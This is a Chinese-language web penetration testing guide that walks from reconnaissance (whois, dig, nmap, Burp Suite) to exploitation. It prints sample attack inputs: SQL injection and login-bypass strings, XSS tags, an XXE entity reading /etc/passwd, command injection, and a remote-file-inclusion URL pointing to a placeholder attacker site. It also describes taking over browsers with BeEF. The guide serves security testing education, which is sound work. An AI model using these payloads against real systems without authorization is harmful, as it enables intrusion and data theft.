Web渗透测试笔记
字数 2439 2025-08-29 08:32:19

Web渗透测试全面指南

0x00 前言

本指南详细介绍了Web应用程序渗透测试的完整流程和方法,涵盖从信息收集到漏洞利用的全过程。文档基于先知社区发布的《Web渗透测试笔记》整理而成,包含了大量实用的工具和技术。

0x01 信息收集

1. 目标确认

工具推荐

  • Whois:查询域名注册信息
  • Dig:DNS信息查询工具
  • DNSRecon:自动化DNS枚举脚本

操作步骤

  1. 域名注册信息查询

    whois example.com
    dig +short example.com
    whois [IP地址]
    
  2. DNS信息查询

    • 使用dnsdumpster.com在线工具
    • 正向查询:
      dig +nocmd example.com A +noall +answer
      dig +nocmd example.com NS +noall +answer
      dig +nocmd example.com MX +noall +answer
      
    • 反向查询:
      dig -x 104.27.179.12
      
  3. 测试域传送漏洞

    dig -t AXFR zonetransfer.me @nsztm1.digi.ninja
    dnsrecon -d example.com
    

2. OSINT公开情报收集

推荐工具

  • Recon-NG:公开情报工具框架
  • Maltego:数据挖掘和关联分析工具
  • theHarvester:收集邮箱、子域名等信息

资源推荐

  • Michael Bazzell的OSINT资源:https://inteltechniques.com
  • Google Dorking技术:https://www.exploit-db.com/google-hacking-database/

0x02 Mapping(应用映射)

1. 端口扫描与服务识别

Nmap常用命令

nmap 192.168.100.2  # 扫描前1000端口
nmap -sP 192.168.100.0-7  # Ping扫描
nmap -p 80,443 192.168.100.2  # 指定端口扫描
sudo nmap -A 192.168.100.2  # 全面扫描(OS指纹+服务识别)
sudo nmap -sU -p- 192.168.100.2  # 全UDP端口扫描

2. 浏览器代理设置

Firefox推荐插件

  • User Agent Switcher:快速切换用户代理
  • Wappalyzer:检测网站技术栈
  • FoxyProxy:代理切换插件

Burp Suite配置

  1. 设置Firefox代理:127.0.0.1:8080
  2. 导入Burp的SSL证书
  3. 配置Burp扫描速度为"thorough"

Burp扩展推荐

  • Retire.js:检测过时的JavaScript组件
  • Wsdler:解析WSDL文件并测试方法
  • Python Scripter:执行自定义Python脚本

3. 应用映射方法

  1. 人工浏览

    • 访问每个页面,点击所有链接
    • 特别关注单页应用(SPA)的AJAX请求
  2. 自动化爬取

    • 使用Burp Spider补充手工浏览
    • 建议手工浏览80-95%内容,仅少量使用爬虫
  3. 后续分析

    • 记录Web服务器、技术栈、框架等信息
    • 特别关注关键功能点(如支付、密码重置等)

0x03 漏洞挖掘

1. 内容挖掘

工具推荐

  • Nikto:Web服务漏洞扫描器
    nikto -h http://example.com -output ~/nikto.html -Format htm
    

2. 强制浏览技术

工具与方法

  1. 使用Burp的"Discover Content"工具
  2. 使用Burp Intruder进行字典攻击
  3. 利用FuzzDB提供的字典资源

3. 测试可选内容

  • 使用User Agent Switcher切换不同UA
  • 模糊测试User-Agent和Referer头
  • 使用FuzzDB字典进行测试

4. 自动化漏洞扫描

  • 先运行Burp Passive Scanner
  • 分析结果后运行Active Scanner
  • 注意扫描可能对生产环境造成影响

5. 配置检查

  1. 默认配置检查

    • 检查示例应用/默认页面
    • 测试默认凭证
  2. 错误配置检查

    • 关注错误信息泄露
    • 检查密码字段的自动填充问题

6. 身份认证测试

  1. 登录表单分析

    • 检查是否有双重认证、验证码等
    • 测试SSL/TLS配置
  2. 模糊登录测试

    • 使用CeWL生成字典:
      cewl [options] www.example.com
      
    • 使用Burp Intruder进行爆破(Cluster Bomb模式)

7. Session管理测试

  1. Session Token分析

    • 使用Burp Sequencer测试随机性
    • 收集约10000个token进行分析
    • 检查Set-Cookie头的Secure和HttpOnly标志
  2. Session劫持测试

    • 搜索Session token看是否可预测

8. 授权测试

  1. 权限控制测试
    • 注册不同权限账户
    • 使用Burp的"Compare Site Maps"比较访问差异

9. 数据验证测试

注入类型与测试方法

  1. SQL注入

    ' OR 1=1 --
    admin';--
    http://example.com/product.php?id=10 AND 1=1
    

    工具:SQLMap

  2. XSS测试

    <IMG SRC=javascript:alert('XSS')>
    "><script>alert('XSS')</script>
    
  3. XML注入

    Username = foo<!--
    
  4. XXE注入

    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    
  5. 模板注入

    <%= 7 * 7 %>
    {{ 7 * 7 }}
    
  6. 命令注入

    ;cat /etc/passwd
    |dir c:\
    
  7. 文件包含

    • LFI:
      preview.php?file=etc/passwd
      
    • RFI:
      vuln_page.php?file=http://attacker_site/malicous_page
      

10. 逻辑漏洞测试

  • 测试非正常业务流程
  • 输入不切实际的值
  • 测试非法文件上传

11. 加密算法测试

工具

sslyze --regular www.example.com

检查项

  • 加密协议版本(TLS 1.2+)
  • 弱加密算法(MD5, RC4等)
  • 正向加密支持

12. 拒绝服务测试

  • 测试大文件上传
  • 测试账户锁定机制
  • 识别响应缓慢的接口

13. Flash漏洞分析

工具

  • JPEXS FFDec:SWF反汇编工具
  • Firefox开发者工具

方法

  1. 下载Flash文件
  2. 反编译分析源代码
  3. 寻找隐藏漏洞

0x04 Web服务测试

1. REST服务测试

方法

  1. 阅读API文档(如有)
  2. 拦截分析JSON请求/响应
  3. 测试常见漏洞(SQLi/XSS等)

参考资源

  • OWASP REST评估备忘单

2. SOAP服务测试

工具

  • Wsdler(Burp扩展)

步骤

  1. 查找WSDL文件(如/service)
  2. 使用Wsdler解析WSDL
  3. 发送测试请求分析响应

0x05 漏洞利用

1. XSS利用

工具

  • BeEF:XSS利用框架

方法

  1. 构造XSS payload
  2. 使用BeEF控制受害者浏览器

2. SQL注入利用

工具

  • SQLMap:自动化SQL注入工具

利用场景

  1. 数据提取
  2. 离线密码爆破(使用Hashcat)
  3. 认证绕过:
    admin' --
    admin' or '1'='1
    

3. CSRF利用

Burp功能

  • Generate CSRF PoC

步骤

  1. 拦截目标请求
  2. 生成CSRF PoC
  3. 验证漏洞有效性

0x06 总结

本指南涵盖了Web渗透测试的全流程,从信息收集到漏洞利用。关键点包括:

  1. 全面的信息收集是成功渗透的基础
  2. 细致的应用映射能发现隐藏功能
  3. 多种漏洞测试方法需结合使用
  4. 自动化工具与手工测试相辅相成
  5. 漏洞利用要考虑实际影响

记住渗透测试是迭代过程,发现新信息后可能需要重新评估之前的步骤。始终确保获得授权后再进行测试。

Web渗透测试全面指南 0x00 前言 本指南详细介绍了Web应用程序渗透测试的完整流程和方法,涵盖从信息收集到漏洞利用的全过程。文档基于先知社区发布的《Web渗透测试笔记》整理而成,包含了大量实用的工具和技术。 0x01 信息收集 1. 目标确认 工具推荐 : Whois :查询域名注册信息 Dig :DNS信息查询工具 DNSRecon :自动化DNS枚举脚本 操作步骤 : 域名注册信息查询 : DNS信息查询 : 使用dnsdumpster.com在线工具 正向查询: 反向查询: 测试域传送漏洞 : 2. OSINT公开情报收集 推荐工具 : Recon-NG:公开情报工具框架 Maltego:数据挖掘和关联分析工具 theHarvester:收集邮箱、子域名等信息 资源推荐 : Michael Bazzell的OSINT资源:https://inteltechniques.com Google Dorking技术:https://www.exploit-db.com/google-hacking-database/ 0x02 Mapping(应用映射) 1. 端口扫描与服务识别 Nmap常用命令 : 2. 浏览器代理设置 Firefox推荐插件 : User Agent Switcher:快速切换用户代理 Wappalyzer:检测网站技术栈 FoxyProxy:代理切换插件 Burp Suite配置 : 设置Firefox代理:127.0.0.1:8080 导入Burp的SSL证书 配置Burp扫描速度为"thorough" Burp扩展推荐 : Retire.js:检测过时的JavaScript组件 Wsdler:解析WSDL文件并测试方法 Python Scripter:执行自定义Python脚本 3. 应用映射方法 人工浏览 : 访问每个页面,点击所有链接 特别关注单页应用(SPA)的AJAX请求 自动化爬取 : 使用Burp Spider补充手工浏览 建议手工浏览80-95%内容,仅少量使用爬虫 后续分析 : 记录Web服务器、技术栈、框架等信息 特别关注关键功能点(如支付、密码重置等) 0x03 漏洞挖掘 1. 内容挖掘 工具推荐 : Nikto:Web服务漏洞扫描器 2. 强制浏览技术 工具与方法 : 使用Burp的"Discover Content"工具 使用Burp Intruder进行字典攻击 利用FuzzDB提供的字典资源 3. 测试可选内容 使用User Agent Switcher切换不同UA 模糊测试User-Agent和Referer头 使用FuzzDB字典进行测试 4. 自动化漏洞扫描 先运行Burp Passive Scanner 分析结果后运行Active Scanner 注意扫描可能对生产环境造成影响 5. 配置检查 默认配置检查 : 检查示例应用/默认页面 测试默认凭证 错误配置检查 : 关注错误信息泄露 检查密码字段的自动填充问题 6. 身份认证测试 登录表单分析 : 检查是否有双重认证、验证码等 测试SSL/TLS配置 模糊登录测试 : 使用CeWL生成字典: 使用Burp Intruder进行爆破(Cluster Bomb模式) 7. Session管理测试 Session Token分析 : 使用Burp Sequencer测试随机性 收集约10000个token进行分析 检查Set-Cookie头的Secure和HttpOnly标志 Session劫持测试 : 搜索Session token看是否可预测 8. 授权测试 权限控制测试 : 注册不同权限账户 使用Burp的"Compare Site Maps"比较访问差异 9. 数据验证测试 注入类型与测试方法 : SQL注入 : 工具:SQLMap XSS测试 : XML注入 : XXE注入 : 模板注入 : 命令注入 : 文件包含 : LFI: RFI: 10. 逻辑漏洞测试 测试非正常业务流程 输入不切实际的值 测试非法文件上传 11. 加密算法测试 工具 : 检查项 : 加密协议版本(TLS 1.2+) 弱加密算法(MD5, RC4等) 正向加密支持 12. 拒绝服务测试 测试大文件上传 测试账户锁定机制 识别响应缓慢的接口 13. Flash漏洞分析 工具 : JPEXS FFDec:SWF反汇编工具 Firefox开发者工具 方法 : 下载Flash文件 反编译分析源代码 寻找隐藏漏洞 0x04 Web服务测试 1. REST服务测试 方法 : 阅读API文档(如有) 拦截分析JSON请求/响应 测试常见漏洞(SQLi/XSS等) 参考资源 : OWASP REST评估备忘单 2. SOAP服务测试 工具 : Wsdler(Burp扩展) 步骤 : 查找WSDL文件(如/service) 使用Wsdler解析WSDL 发送测试请求分析响应 0x05 漏洞利用 1. XSS利用 工具 : BeEF:XSS利用框架 方法 : 构造XSS payload 使用BeEF控制受害者浏览器 2. SQL注入利用 工具 : SQLMap:自动化SQL注入工具 利用场景 : 数据提取 离线密码爆破(使用Hashcat) 认证绕过: 3. CSRF利用 Burp功能 : Generate CSRF PoC 步骤 : 拦截目标请求 生成CSRF PoC 验证漏洞有效性 0x06 总结 本指南涵盖了Web渗透测试的全流程,从信息收集到漏洞利用。关键点包括: 全面的信息收集是成功渗透的基础 细致的应用映射能发现隐藏功能 多种漏洞测试方法需结合使用 自动化工具与手工测试相辅相成 漏洞利用要考虑实际影响 记住渗透测试是迭代过程,发现新信息后可能需要重新评估之前的步骤。始终确保获得授权后再进行测试。